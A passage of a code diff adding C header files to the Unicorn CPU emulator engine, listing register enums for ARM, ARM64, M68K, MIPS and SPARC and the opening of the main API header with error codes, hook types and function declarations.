};
#include "qemu_macro.h"
// check if this address is mapped in (via uc_mem_map())
bool memory_mapping(uint64_t address);
#endif

146
include/unicorn/arm.h Normal file
View file

@ -0,0 +1,146 @@
#ifndef UNICORN_ARM_H
#define UNICORN_ARM_H
/* Unicorn Engine */
/* By Nguyen Anh Quynh <aquynh@gmail.com>, 2015 */
#ifdef __cplusplus
extern "C" {
#endif
#ifdef _MSC_VER
#pragma warning(disable:4201)
#endif
//> ARM registers
typedef enum arm_reg {
ARM_REG_INVALID = 0,
ARM_REG_APSR,
ARM_REG_APSR_NZCV,
ARM_REG_CPSR,
ARM_REG_FPEXC,
ARM_REG_FPINST,
ARM_REG_FPSCR,
ARM_REG_FPSCR_NZCV,
ARM_REG_FPSID,
ARM_REG_ITSTATE,
ARM_REG_LR,
ARM_REG_PC,
ARM_REG_SP,
ARM_REG_SPSR,
ARM_REG_D0,
ARM_REG_D1,
ARM_REG_D2,
ARM_REG_D3,
ARM_REG_D4,
ARM_REG_D5,
ARM_REG_D6,
ARM_REG_D7,
ARM_REG_D8,
ARM_REG_D9,
ARM_REG_D10,
ARM_REG_D11,
ARM_REG_D12,
ARM_REG_D13,
ARM_REG_D14,
ARM_REG_D15,
ARM_REG_D16,
ARM_REG_D17,
ARM_REG_D18,
ARM_REG_D19,
ARM_REG_D20,
ARM_REG_D21,
ARM_REG_D22,
ARM_REG_D23,
ARM_REG_D24,
ARM_REG_D25,
ARM_REG_D26,
ARM_REG_D27,
ARM_REG_D28,
ARM_REG_D29,
ARM_REG_D30,
ARM_REG_D31,
ARM_REG_FPINST2,
ARM_REG_MVFR0,
ARM_REG_MVFR1,
ARM_REG_MVFR2,
ARM_REG_Q0,
ARM_REG_Q1,
ARM_REG_Q2,
ARM_REG_Q3,
ARM_REG_Q4,
ARM_REG_Q5,
ARM_REG_Q6,
ARM_REG_Q7,
ARM_REG_Q8,
ARM_REG_Q9,
ARM_REG_Q10,
ARM_REG_Q11,
ARM_REG_Q12,
ARM_REG_Q13,
ARM_REG_Q14,
ARM_REG_Q15,
ARM_REG_R0,
ARM_REG_R1,
ARM_REG_R2,
ARM_REG_R3,
ARM_REG_R4,
ARM_REG_R5,
ARM_REG_R6,
ARM_REG_R7,
ARM_REG_R8,
ARM_REG_R9,
ARM_REG_R10,
ARM_REG_R11,
ARM_REG_R12,
ARM_REG_S0,
ARM_REG_S1,
ARM_REG_S2,
ARM_REG_S3,
ARM_REG_S4,
ARM_REG_S5,
ARM_REG_S6,
ARM_REG_S7,
ARM_REG_S8,
ARM_REG_S9,
ARM_REG_S10,
ARM_REG_S11,
ARM_REG_S12,
ARM_REG_S13,
ARM_REG_S14,
ARM_REG_S15,
ARM_REG_S16,
ARM_REG_S17,
ARM_REG_S18,
ARM_REG_S19,
ARM_REG_S20,
ARM_REG_S21,
ARM_REG_S22,
ARM_REG_S23,
ARM_REG_S24,
ARM_REG_S25,
ARM_REG_S26,
ARM_REG_S27,
ARM_REG_S28,
ARM_REG_S29,
ARM_REG_S30,
ARM_REG_S31,
ARM_REG_ENDING, // <-- mark the end of the list or registers
//> alias registers
ARM_REG_R13 = ARM_REG_SP,
ARM_REG_R14 = ARM_REG_LR,
ARM_REG_R15 = ARM_REG_PC,
ARM_REG_SB = ARM_REG_R9,
ARM_REG_SL = ARM_REG_R10,
ARM_REG_FP = ARM_REG_R11,
ARM_REG_IP = ARM_REG_R12,
} arm_reg;
#ifdef __cplusplus
}
#endif
#endif

297
include/unicorn/arm64.h Normal file
View file

@ -0,0 +1,297 @@
#ifndef UNICORN_ARM64_H
#define UNICORN_ARM64_H
/* Unicorn Emulator Engine */
/* By Nguyen Anh Quynh <aquynh@gmail.com>, 2015 */
#ifdef __cplusplus
extern "C" {
#endif
#ifdef _MSC_VER
#pragma warning(disable:4201)
#endif
//> ARM64 registers
typedef enum arm64_reg {
ARM64_REG_INVALID = 0,
ARM64_REG_X29,
ARM64_REG_X30,
ARM64_REG_NZCV,
ARM64_REG_SP,
ARM64_REG_WSP,
ARM64_REG_WZR,
ARM64_REG_XZR,
ARM64_REG_B0,
ARM64_REG_B1,
ARM64_REG_B2,
ARM64_REG_B3,
ARM64_REG_B4,
ARM64_REG_B5,
ARM64_REG_B6,
ARM64_REG_B7,
ARM64_REG_B8,
ARM64_REG_B9,
ARM64_REG_B10,
ARM64_REG_B11,
ARM64_REG_B12,
ARM64_REG_B13,
ARM64_REG_B14,
ARM64_REG_B15,
ARM64_REG_B16,
ARM64_REG_B17,
ARM64_REG_B18,
ARM64_REG_B19,
ARM64_REG_B20,
ARM64_REG_B21,
ARM64_REG_B22,
ARM64_REG_B23,
ARM64_REG_B24,
ARM64_REG_B25,
ARM64_REG_B26,
ARM64_REG_B27,
ARM64_REG_B28,
ARM64_REG_B29,
ARM64_REG_B30,
ARM64_REG_B31,
ARM64_REG_D0,
ARM64_REG_D1,
ARM64_REG_D2,
ARM64_REG_D3,
ARM64_REG_D4,
ARM64_REG_D5,
ARM64_REG_D6,
ARM64_REG_D7,
ARM64_REG_D8,
ARM64_REG_D9,
ARM64_REG_D10,
ARM64_REG_D11,
ARM64_REG_D12,
ARM64_REG_D13,
ARM64_REG_D14,
ARM64_REG_D15,
ARM64_REG_D16,
ARM64_REG_D17,
ARM64_REG_D18,
ARM64_REG_D19,
ARM64_REG_D20,
ARM64_REG_D21,
ARM64_REG_D22,
ARM64_REG_D23,
ARM64_REG_D24,
ARM64_REG_D25,
ARM64_REG_D26,
ARM64_REG_D27,
ARM64_REG_D28,
ARM64_REG_D29,
ARM64_REG_D30,
ARM64_REG_D31,
ARM64_REG_H0,
ARM64_REG_H1,
ARM64_REG_H2,
ARM64_REG_H3,
ARM64_REG_H4,
ARM64_REG_H5,
ARM64_REG_H6,
ARM64_REG_H7,
ARM64_REG_H8,
ARM64_REG_H9,
ARM64_REG_H10,
ARM64_REG_H11,
ARM64_REG_H12,
ARM64_REG_H13,
ARM64_REG_H14,
ARM64_REG_H15,
ARM64_REG_H16,
ARM64_REG_H17,
ARM64_REG_H18,
ARM64_REG_H19,
ARM64_REG_H20,
ARM64_REG_H21,
ARM64_REG_H22,
ARM64_REG_H23,
ARM64_REG_H24,
ARM64_REG_H25,
ARM64_REG_H26,
ARM64_REG_H27,
ARM64_REG_H28,
ARM64_REG_H29,
ARM64_REG_H30,
ARM64_REG_H31,
ARM64_REG_Q0,
ARM64_REG_Q1,
ARM64_REG_Q2,
ARM64_REG_Q3,
ARM64_REG_Q4,
ARM64_REG_Q5,
ARM64_REG_Q6,
ARM64_REG_Q7,
ARM64_REG_Q8,
ARM64_REG_Q9,
ARM64_REG_Q10,
ARM64_REG_Q11,
ARM64_REG_Q12,
ARM64_REG_Q13,
ARM64_REG_Q14,
ARM64_REG_Q15,
ARM64_REG_Q16,
ARM64_REG_Q17,
ARM64_REG_Q18,
ARM64_REG_Q19,
ARM64_REG_Q20,
ARM64_REG_Q21,
ARM64_REG_Q22,
ARM64_REG_Q23,
ARM64_REG_Q24,
ARM64_REG_Q25,
ARM64_REG_Q26,
ARM64_REG_Q27,
ARM64_REG_Q28,
ARM64_REG_Q29,
ARM64_REG_Q30,
ARM64_REG_Q31,
ARM64_REG_S0,
ARM64_REG_S1,
ARM64_REG_S2,
ARM64_REG_S3,
ARM64_REG_S4,
ARM64_REG_S5,
ARM64_REG_S6,
ARM64_REG_S7,
ARM64_REG_S8,
ARM64_REG_S9,
ARM64_REG_S10,
ARM64_REG_S11,
ARM64_REG_S12,
ARM64_REG_S13,
ARM64_REG_S14,
ARM64_REG_S15,
ARM64_REG_S16,
ARM64_REG_S17,
ARM64_REG_S18,
ARM64_REG_S19,
ARM64_REG_S20,
ARM64_REG_S21,
ARM64_REG_S22,
ARM64_REG_S23,
ARM64_REG_S24,
ARM64_REG_S25,
ARM64_REG_S26,
ARM64_REG_S27,
ARM64_REG_S28,
ARM64_REG_S29,
ARM64_REG_S30,
ARM64_REG_S31,
ARM64_REG_W0,
ARM64_REG_W1,
ARM64_REG_W2,
ARM64_REG_W3,
ARM64_REG_W4,
ARM64_REG_W5,
ARM64_REG_W6,
ARM64_REG_W7,
ARM64_REG_W8,
ARM64_REG_W9,
ARM64_REG_W10,
ARM64_REG_W11,
ARM64_REG_W12,
ARM64_REG_W13,
ARM64_REG_W14,
ARM64_REG_W15,
ARM64_REG_W16,
ARM64_REG_W17,
ARM64_REG_W18,
ARM64_REG_W19,
ARM64_REG_W20,
ARM64_REG_W21,
ARM64_REG_W22,
ARM64_REG_W23,
ARM64_REG_W24,
ARM64_REG_W25,
ARM64_REG_W26,
ARM64_REG_W27,
ARM64_REG_W28,
ARM64_REG_W29,
ARM64_REG_W30,
ARM64_REG_X0,
ARM64_REG_X1,
ARM64_REG_X2,
ARM64_REG_X3,
ARM64_REG_X4,
ARM64_REG_X5,
ARM64_REG_X6,
ARM64_REG_X7,
ARM64_REG_X8,
ARM64_REG_X9,
ARM64_REG_X10,
ARM64_REG_X11,
ARM64_REG_X12,
ARM64_REG_X13,
ARM64_REG_X14,
ARM64_REG_X15,
ARM64_REG_X16,
ARM64_REG_X17,
ARM64_REG_X18,
ARM64_REG_X19,
ARM64_REG_X20,
ARM64_REG_X21,
ARM64_REG_X22,
ARM64_REG_X23,
ARM64_REG_X24,
ARM64_REG_X25,
ARM64_REG_X26,
ARM64_REG_X27,
ARM64_REG_X28,
ARM64_REG_V0,
ARM64_REG_V1,
ARM64_REG_V2,
ARM64_REG_V3,
ARM64_REG_V4,
ARM64_REG_V5,
ARM64_REG_V6,
ARM64_REG_V7,
ARM64_REG_V8,
ARM64_REG_V9,
ARM64_REG_V10,
ARM64_REG_V11,
ARM64_REG_V12,
ARM64_REG_V13,
ARM64_REG_V14,
ARM64_REG_V15,
ARM64_REG_V16,
ARM64_REG_V17,
ARM64_REG_V18,
ARM64_REG_V19,
ARM64_REG_V20,
ARM64_REG_V21,
ARM64_REG_V22,
ARM64_REG_V23,
ARM64_REG_V24,
ARM64_REG_V25,
ARM64_REG_V26,
ARM64_REG_V27,
ARM64_REG_V28,
ARM64_REG_V29,
ARM64_REG_V30,
ARM64_REG_V31,
//> pseudo registers
ARM64_REG_PC, // program counter register
ARM64_REG_ENDING, // <-- mark the end of the list of registers
//> alias registers
ARM64_REG_IP1 = ARM64_REG_X16,
ARM64_REG_IP0 = ARM64_REG_X17,
ARM64_REG_FP = ARM64_REG_X29,
ARM64_REG_LR = ARM64_REG_X30,
} arm64_reg;
#ifdef __cplusplus
}
#endif
#endif

50
include/unicorn/m68k.h Normal file
View file

@ -0,0 +1,50 @@
#ifndef UNICORN_M68K_H
#define UNICORN_M68K_H
/* Unicorn Emulator Engine */
/* By Nguyen Anh Quynh <aquynh@gmail.com>, 2014-2015 */
#ifdef __cplusplus
extern "C" {
#endif
#include <stdint.h>
#include "platform.h"
#ifdef _MSC_VER
#pragma warning(disable:4201)
#endif
//> M68K registers
typedef enum m68k_reg {
M68K_REG_INVALID = 0,
M68K_REG_A0,
M68K_REG_A1,
M68K_REG_A2,
M68K_REG_A3,
M68K_REG_A4,
M68K_REG_A5,
M68K_REG_A6,
M68K_REG_A7,
M68K_REG_D0,
M68K_REG_D1,
M68K_REG_D2,
M68K_REG_D3,
M68K_REG_D4,
M68K_REG_D5,
M68K_REG_D6,
M68K_REG_D7,
M68K_REG_SR,
M68K_REG_PC,
M68K_REG_ENDING, // <-- mark the end of the list of registers
} m68k_reg;
#ifdef __cplusplus
}
#endif
#endif

226
include/unicorn/mips.h Normal file
View file

@ -0,0 +1,226 @@
#ifndef UNICORN_MIPS_H
#define UNICORN_MIPS_H
/* Unicorn Emulator Engine */
/* By Nguyen Anh Quynh <aquynh@gmail.com>, 2015 */
#ifdef __cplusplus
extern "C" {
#endif
// GCC MIPS toolchain has a default macro called "mips" which breaks
// compilation
#undef mips
#ifdef _MSC_VER
#pragma warning(disable:4201)
#endif
//> MIPS registers
typedef enum mips_reg {
MIPS_REG_INVALID = 0,
//> General purpose registers
MIPS_REG_PC,
MIPS_REG_0,
MIPS_REG_1,
MIPS_REG_2,
MIPS_REG_3,
MIPS_REG_4,
MIPS_REG_5,
MIPS_REG_6,
MIPS_REG_7,
MIPS_REG_8,
MIPS_REG_9,
MIPS_REG_10,
MIPS_REG_11,
MIPS_REG_12,
MIPS_REG_13,
MIPS_REG_14,
MIPS_REG_15,
MIPS_REG_16,
MIPS_REG_17,
MIPS_REG_18,
MIPS_REG_19,
MIPS_REG_20,
MIPS_REG_21,
MIPS_REG_22,
MIPS_REG_23,
MIPS_REG_24,
MIPS_REG_25,
MIPS_REG_26,
MIPS_REG_27,
MIPS_REG_28,
MIPS_REG_29,
MIPS_REG_30,
MIPS_REG_31,
//> DSP registers
MIPS_REG_DSPCCOND,
MIPS_REG_DSPCARRY,
MIPS_REG_DSPEFI,
MIPS_REG_DSPOUTFLAG,
MIPS_REG_DSPOUTFLAG16_19,
MIPS_REG_DSPOUTFLAG20,
MIPS_REG_DSPOUTFLAG21,
MIPS_REG_DSPOUTFLAG22,
MIPS_REG_DSPOUTFLAG23,
MIPS_REG_DSPPOS,
MIPS_REG_DSPSCOUNT,
//> ACC registers
MIPS_REG_AC0,
MIPS_REG_AC1,
MIPS_REG_AC2,
MIPS_REG_AC3,
//> COP registers
MIPS_REG_CC0,
MIPS_REG_CC1,
MIPS_REG_CC2,
MIPS_REG_CC3,
MIPS_REG_CC4,
MIPS_REG_CC5,
MIPS_REG_CC6,
MIPS_REG_CC7,
//> FPU registers
MIPS_REG_F0,
MIPS_REG_F1,
MIPS_REG_F2,
MIPS_REG_F3,
MIPS_REG_F4,
MIPS_REG_F5,
MIPS_REG_F6,
MIPS_REG_F7,
MIPS_REG_F8,
MIPS_REG_F9,
MIPS_REG_F10,
MIPS_REG_F11,
MIPS_REG_F12,
MIPS_REG_F13,
MIPS_REG_F14,
MIPS_REG_F15,
MIPS_REG_F16,
MIPS_REG_F17,
MIPS_REG_F18,
MIPS_REG_F19,
MIPS_REG_F20,
MIPS_REG_F21,
MIPS_REG_F22,
MIPS_REG_F23,
MIPS_REG_F24,
MIPS_REG_F25,
MIPS_REG_F26,
MIPS_REG_F27,
MIPS_REG_F28,
MIPS_REG_F29,
MIPS_REG_F30,
MIPS_REG_F31,
MIPS_REG_FCC0,
MIPS_REG_FCC1,
MIPS_REG_FCC2,
MIPS_REG_FCC3,
MIPS_REG_FCC4,
MIPS_REG_FCC5,
MIPS_REG_FCC6,
MIPS_REG_FCC7,
//> AFPR128
MIPS_REG_W0,
MIPS_REG_W1,
MIPS_REG_W2,
MIPS_REG_W3,
MIPS_REG_W4,
MIPS_REG_W5,
MIPS_REG_W6,
MIPS_REG_W7,
MIPS_REG_W8,
MIPS_REG_W9,
MIPS_REG_W10,
MIPS_REG_W11,
MIPS_REG_W12,
MIPS_REG_W13,
MIPS_REG_W14,
MIPS_REG_W15,
MIPS_REG_W16,
MIPS_REG_W17,
MIPS_REG_W18,
MIPS_REG_W19,
MIPS_REG_W20,
MIPS_REG_W21,
MIPS_REG_W22,
MIPS_REG_W23,
MIPS_REG_W24,
MIPS_REG_W25,
MIPS_REG_W26,
MIPS_REG_W27,
MIPS_REG_W28,
MIPS_REG_W29,
MIPS_REG_W30,
MIPS_REG_W31,
MIPS_REG_HI,
MIPS_REG_LO,
MIPS_REG_P0,
MIPS_REG_P1,
MIPS_REG_P2,
MIPS_REG_MPL0,
MIPS_REG_MPL1,
MIPS_REG_MPL2,
MIPS_REG_ENDING, // <-- mark the end of the list or registers
// alias registers
MIPS_REG_ZERO = MIPS_REG_0,
MIPS_REG_AT = MIPS_REG_1,
MIPS_REG_V0 = MIPS_REG_2,
MIPS_REG_V1 = MIPS_REG_3,
MIPS_REG_A0 = MIPS_REG_4,
MIPS_REG_A1 = MIPS_REG_5,
MIPS_REG_A2 = MIPS_REG_6,
MIPS_REG_A3 = MIPS_REG_7,
MIPS_REG_T0 = MIPS_REG_8,
MIPS_REG_T1 = MIPS_REG_9,
MIPS_REG_T2 = MIPS_REG_10,
MIPS_REG_T3 = MIPS_REG_11,
MIPS_REG_T4 = MIPS_REG_12,
MIPS_REG_T5 = MIPS_REG_13,
MIPS_REG_T6 = MIPS_REG_14,
MIPS_REG_T7 = MIPS_REG_15,
MIPS_REG_S0 = MIPS_REG_16,
MIPS_REG_S1 = MIPS_REG_17,
MIPS_REG_S2 = MIPS_REG_18,
MIPS_REG_S3 = MIPS_REG_19,
MIPS_REG_S4 = MIPS_REG_20,
MIPS_REG_S5 = MIPS_REG_21,
MIPS_REG_S6 = MIPS_REG_22,
MIPS_REG_S7 = MIPS_REG_23,
MIPS_REG_T8 = MIPS_REG_24,
MIPS_REG_T9 = MIPS_REG_25,
MIPS_REG_K0 = MIPS_REG_26,
MIPS_REG_K1 = MIPS_REG_27,
MIPS_REG_GP = MIPS_REG_28,
MIPS_REG_SP = MIPS_REG_29,
MIPS_REG_FP = MIPS_REG_30, MIPS_REG_S8 = MIPS_REG_30,
MIPS_REG_RA = MIPS_REG_31,
MIPS_REG_HI0 = MIPS_REG_AC0,
MIPS_REG_HI1 = MIPS_REG_AC1,
MIPS_REG_HI2 = MIPS_REG_AC2,
MIPS_REG_HI3 = MIPS_REG_AC3,
MIPS_REG_LO0 = MIPS_REG_HI0,
MIPS_REG_LO1 = MIPS_REG_HI1,
MIPS_REG_LO2 = MIPS_REG_HI2,
MIPS_REG_LO3 = MIPS_REG_HI3,
} mips_reg;
#ifdef __cplusplus
}
#endif
#endif

View file

@ -0,0 +1,28 @@
/* Unicorn Emulator Engine */
/* By Axel Souchet & Nguyen Anh Quynh, 2014 */
// handle C99 issue (for pre-2013 VisualStudio)
#ifndef UNICORN_PLATFORM_H
#define UNICORN_PLATFORM_H
#if !defined(__MINGW32__) && !defined(__MINGW64__) && (defined (WIN32) || defined (WIN64) || defined (_WIN32) || defined (_WIN64))
// MSVC
// stdbool.h
#if (_MSC_VER < 1800)
#ifndef __cplusplus
typedef unsigned char bool;
#define false 0
#define true 1
#endif
#else
// VisualStudio 2013+ -> C99 is supported
#include <stdbool.h>
#endif
#else // not MSVC -> C99 is supported
#include <stdbool.h>
#endif
#endif

130
include/unicorn/sparc.h Normal file
View file

@ -0,0 +1,130 @@
#ifndef UNICORN_SPARC_H
#define UNICORN_SPARC_H
/* Unicorn Emulator Engine */
/* By Nguyen Anh Quynh <aquynh@gmail.com>, 2014-2015 */
#ifdef __cplusplus
extern "C" {
#endif
#include <stdint.h>
#include "platform.h"
// GCC SPARC toolchain has a default macro called "sparc" which breaks
// compilation
#undef sparc
#ifdef _MSC_VER
#pragma warning(disable:4201)
#endif
//> SPARC registers
typedef enum sparc_reg {
SPARC_REG_INVALID = 0,
SPARC_REG_F0,
SPARC_REG_F1,
SPARC_REG_F2,
SPARC_REG_F3,
SPARC_REG_F4,
SPARC_REG_F5,
SPARC_REG_F6,
SPARC_REG_F7,
SPARC_REG_F8,
SPARC_REG_F9,
SPARC_REG_F10,
SPARC_REG_F11,
SPARC_REG_F12,
SPARC_REG_F13,
SPARC_REG_F14,
SPARC_REG_F15,
SPARC_REG_F16,
SPARC_REG_F17,
SPARC_REG_F18,
SPARC_REG_F19,
SPARC_REG_F20,
SPARC_REG_F21,
SPARC_REG_F22,
SPARC_REG_F23,
SPARC_REG_F24,
SPARC_REG_F25,
SPARC_REG_F26,
SPARC_REG_F27,
SPARC_REG_F28,
SPARC_REG_F29,
SPARC_REG_F30,
SPARC_REG_F31,
SPARC_REG_F32,
SPARC_REG_F34,
SPARC_REG_F36,
SPARC_REG_F38,
SPARC_REG_F40,
SPARC_REG_F42,
SPARC_REG_F44,
SPARC_REG_F46,
SPARC_REG_F48,
SPARC_REG_F50,
SPARC_REG_F52,
SPARC_REG_F54,
SPARC_REG_F56,
SPARC_REG_F58,
SPARC_REG_F60,
SPARC_REG_F62,
SPARC_REG_FCC0, // Floating condition codes
SPARC_REG_FCC1,
SPARC_REG_FCC2,
SPARC_REG_FCC3,
SPARC_REG_FP,
SPARC_REG_G0,
SPARC_REG_G1,
SPARC_REG_G2,
SPARC_REG_G3,
SPARC_REG_G4,
SPARC_REG_G5,
SPARC_REG_G6,
SPARC_REG_G7,
SPARC_REG_I0,
SPARC_REG_I1,
SPARC_REG_I2,
SPARC_REG_I3,
SPARC_REG_I4,
SPARC_REG_I5,
SPARC_REG_I7,
SPARC_REG_ICC, // Integer condition codes
SPARC_REG_L0,
SPARC_REG_L1,
SPARC_REG_L2,
SPARC_REG_L3,
SPARC_REG_L4,
SPARC_REG_L5,
SPARC_REG_L6,
SPARC_REG_L7,
SPARC_REG_O0,
SPARC_REG_O1,
SPARC_REG_O2,
SPARC_REG_O3,
SPARC_REG_O4,
SPARC_REG_O5,
SPARC_REG_O7,
SPARC_REG_SP,
SPARC_REG_Y,
// special register
SPARC_REG_XCC,
// pseudo register
SPARC_REG_PC, // program counter register
SPARC_REG_ENDING, // <-- mark the end of the list of registers
// extras
SPARC_REG_O6 = SPARC_REG_SP,
SPARC_REG_I6 = SPARC_REG_FP,
} sparc_reg;
#ifdef __cplusplus
}
#endif
#endif

408
include/unicorn/unicorn.h Normal file
View file

@ -0,0 +1,408 @@
/* Unicorn Emulator Engine */
/* By Nguyen Anh Quynh <aquynh@gmail.com>, 2015 */
#ifndef UNICORN_ENGINE_H
#define UNICORN_ENGINE_H
#ifdef __cplusplus
extern "C" {
#endif
#include <stdint.h>
#include <stdarg.h>
#if defined(UNICORN_HAS_OSXKERNEL)
#include <libkern/libkern.h>
#else
#include <stdlib.h>
#include <stdio.h>
#endif
#include "platform.h"
#include "m68k.h"
#include "x86.h"
#include "arm.h"
#include "arm64.h"
#include "mips.h"
#include "sparc.h"
#ifdef _MSC_VER
#pragma warning(disable:4201)
#pragma warning(disable:4100)
#ifdef UNICORN_SHARED
#define UNICORN_EXPORT __declspec(dllexport)
#else // defined(UNICORN_STATIC)
#define UNICORN_EXPORT
#endif
#else
#ifdef __GNUC__
#define UNICORN_EXPORT __attribute__((visibility("default")))
#else
#define UNICORN_EXPORT
#endif
#endif
#ifdef __GNUC__
#define UNICORN_DEPRECATED __attribute__((deprecated))
#elif defined(_MSC_VER)
#define UNICORN_DEPRECATED __declspec(deprecated)
#else
#pragma message("WARNING: You need to implement UNICORN_DEPRECATED for this compiler")
#define UNICORN_DEPRECATED
#endif
// Unicorn API version
#define UC_API_MAJOR 0
#define UC_API_MINOR 9
// Macro to create combined version which can be compared to
// result of uc_version() API.
#define UC_MAKE_VERSION(major, minor) ((major << 8) + minor)
// Scales to calculate timeout on microsecond unit
// 1 second = 1000,000 microseconds
#define UC_SECOND_SCALE 1000000
// 1 milisecond = 1000 nanoseconds
#define UC_MILISECOND_SCALE 1000
// Handle using with all API
typedef size_t uch;
// Architecture type
typedef enum uc_arch {
UC_ARCH_ARM = 1, // ARM architecture (including Thumb, Thumb-2)
UC_ARCH_ARM64, // ARM-64, also called AArch64
UC_ARCH_MIPS, // Mips architecture
UC_ARCH_X86, // X86 architecture (including x86 & x86-64)
UC_ARCH_PPC, // PowerPC architecture
UC_ARCH_SPARC, // Sparc architecture
UC_ARCH_M68K, // M68K architecture
UC_ARCH_MAX,
UC_ARCH_ALL = 0xFFFF, // All architectures - for uc_support()
} uc_arch;
// Mode type
typedef enum uc_mode {
UC_MODE_LITTLE_ENDIAN = 0, // little-endian mode (default mode)
UC_MODE_ARM = 0, // 32-bit ARM
UC_MODE_16 = 1 << 1, // 16-bit mode (X86)
UC_MODE_32 = 1 << 2, // 32-bit mode (X86)
UC_MODE_64 = 1 << 3, // 64-bit mode (X86, PPC)
UC_MODE_THUMB = 1 << 4, // ARM's Thumb mode, including Thumb-2
UC_MODE_MCLASS = 1 << 5, // ARM's Cortex-M series
UC_MODE_V8 = 1 << 6, // ARMv8 A32 encodings for ARM
UC_MODE_MICRO = 1 << 4, // MicroMips mode (MIPS)
UC_MODE_MIPS3 = 1 << 5, // Mips III ISA
UC_MODE_MIPS32R6 = 1 << 6, // Mips32r6 ISA
UC_MODE_V9 = 1 << 4, // SparcV9 mode (Sparc)
UC_MODE_QPX = 1 << 4, // Quad Processing eXtensions mode (PPC)
UC_MODE_BIG_ENDIAN = 1 << 31, // big-endian mode
UC_MODE_MIPS32 = UC_MODE_32, // Mips32 ISA (Mips)
UC_MODE_MIPS64 = UC_MODE_64, // Mips64 ISA (Mips)
} uc_mode;
// All type of errors encountered by Unicorn API.
// These are values returned by uc_errno()
typedef enum uc_err {
UC_ERR_OK = 0, // No error: everything was fine
UC_ERR_OOM, // Out-Of-Memory error: uc_open(), uc_emulate()
UC_ERR_ARCH, // Unsupported architecture: uc_open()
UC_ERR_HANDLE, // Invalid handle
UC_ERR_UCH, // Invalid handle (uch)
UC_ERR_MODE, // Invalid/unsupported mode: uc_open()
UC_ERR_VERSION, // Unsupported version (bindings)
UC_ERR_MEM_READ, // Quit emulation due to invalid memory READ: uc_emu_start()
UC_ERR_MEM_WRITE, // Quit emulation due to invalid memory WRITE: uc_emu_start()
UC_ERR_CODE_INVALID, // Quit emulation due to invalid code address: uc_emu_start()
UC_ERR_HOOK, // Invalid hook type: uc_hook_add()
UC_ERR_INSN_INVALID, // Quit emulation due to invalid instruction: uc_emu_start()
} uc_err;
// Callback function for tracing code (UC_HOOK_CODE & UC_HOOK_BLOCK)
// @address: address where the code is being executed
// @size: size of machine instruction being executed
// @user_data: user data passed to tracing APIs.
typedef void (*uc_cb_hookcode_t)(uch handle, uint64_t address, uint32_t size, void *user_data);
// Callback function for tracing interrupts (for uc_hook_intr())
// @intno: interrupt number
// @user_data: user data passed to tracing APIs.
typedef void (*uc_cb_hookintr_t)(uch handle, uint32_t intno, void *user_data);
// Callback function for tracing IN instruction of X86
// @port: port number
// @size: data size (1/2/4) to be read from this port
// @user_data: user data passed to tracing APIs.
typedef uint32_t (*uc_cb_insn_in_t)(uch handle, uint32_t port, int size, void *user_data);
// x86's handler for OUT
// @port: port number
// @size: data size (1/2/4) to be written to this port
// @value: data value to be written to this port
typedef void (*uc_cb_insn_out_t)(uch handle, uint32_t port, int size, uint32_t value, void *user_data);
// All type of memory accesses for UC_HOOK_MEM_*
typedef enum uc_mem_type {
UC_MEM_READ = 16, // Memory is read from
UC_MEM_WRITE, // Memory is written to
UC_MEM_READ_WRITE, // Memory is accessed (either READ or WRITE)
} uc_mem_type;
// All type of hooks for uc_hook_add() API.
typedef enum uc_hook_t {
UC_HOOK_INTR = 32, // Hook all interrupt events
UC_HOOK_INSN, // Hook a particular instruction
UC_HOOK_CODE, // Hook a range of code
UC_HOOK_BLOCK, // Hook basic blocks
UC_HOOK_MEM_INVALID, // Hook for all invalid memory access events
UC_HOOK_MEM_READ, // Hook all memory read events.
UC_HOOK_MEM_WRITE, // Hook all memory write events.
UC_HOOK_MEM_READ_WRITE, // Hook all memory accesses (either READ or WRITE).
} uc_hook_t;
// Callback function for hooking memory (UC_HOOK_MEM_*)
// @type: this memory is being READ, or WRITE
// @address: address where the code is being executed
// @size: size of data being read or written
// @value: value of data being written to memory, or irrelevant if type = READ.
// @user_data: user data passed to tracing APIs
typedef void (*uc_cb_hookmem_t)(uch handle, uc_mem_type type,
uint64_t address, int size, int64_t value, void *user_data);
// Callback function for handling memory events (for UC_HOOK_MEM_INVALID)
// @type: this memory is being READ, or WRITE
// @address: address where the code is being executed
// @size: size of data being read or written
// @value: value of data being written to memory, or irrelevant if type = READ.
// @user_data: user data passed to tracing APIs
// @return: return true to continue, or false to stop program (due to invalid memory).
typedef bool (*uc_cb_eventmem_t)(uch handle, uc_mem_type type,
uint64_t address, int size, int64_t value, void *user_data);
/*
Return combined API version & major and minor version numbers.
@major: major number of API version
@minor: minor number of API version
@return hexical number as (major << 8 | minor), which encodes both
major & minor versions.
NOTE: This returned value can be compared with version number made
with macro UC_MAKE_VERSION
For example, second API version would return 1 in @major, and 1 in @minor
The return value would be 0x0101
NOTE: if you only care about returned value, but not major and minor values,
set both @major & @minor arguments to NULL.
*/
UNICORN_EXPORT
unsigned int uc_version(unsigned int *major, unsigned int *minor);
/*
This API can be used to either ask for archs supported by this library.
To check if a particular arch is supported by this library, set @query to
arch mode (UC_ARCH_* value).
To verify if this library supports all the archs, use UC_ARCH_ALL.
@return True if this library supports the given arch.
*/
UNICORN_EXPORT
bool uc_support(int query);
/*
Initialize UC handle: this must be done before any usage of UC.
@arch: architecture type (UC_ARCH_*)
@mode: hardware mode. This is combined of UC_MODE_*
@handle: pointer to handle, which will be updated at return time
@return UC_ERR_OK on success, or other value on failure (refer to uc_err enum
for detailed error).
*/
UNICORN_EXPORT
uc_err uc_open(uc_arch arch, uc_mode mode, uch *handle);
/*
Close UC handle: MUST do to release the handle when it is not used anymore.
NOTE: this must be called only when there is no longer usage of Unicorn.
The reason is the this API releases some cached memory, thus access to any
Unicorn API after uc_close() might crash your application.
After this, @handle is invalid, and nolonger usable.
@handle: pointer to a handle returned by uc_open()
@return UC_ERR_OK on success, or other value on failure (refer to uc_err enum
for detailed error).
*/
UNICORN_EXPORT
uc_err uc_close(uch *handle);
/*
Report the last error number when some API function fail.
Like glibc's errno, uc_errno might not retain its old value once accessed.
@handle: handle returned by uc_open()
@return: error code of uc_err enum type (UC_ERR_*, see above)
*/
UNICORN_EXPORT
uc_err uc_errno(uch handle);
/*
Return a string describing given error code.
@code: error code (see UC_ERR_* above)
@return: returns a pointer to a string that describes the error code
passed in the argument @code
*/
UNICORN_EXPORT
const char *uc_strerror(uc_err code);
/*
Write to register.
@handle: handle returned by uc_open()
@regid: register ID that is to be modified.
@value: pointer to the value that will set to register @regid
@return UC_ERR_OK on success, or other value on failure (refer to uc_err enum
for detailed error).
*/
UNICORN_EXPORT
uc_err uc_reg_write(uch handle, int regid, void *value);
/*
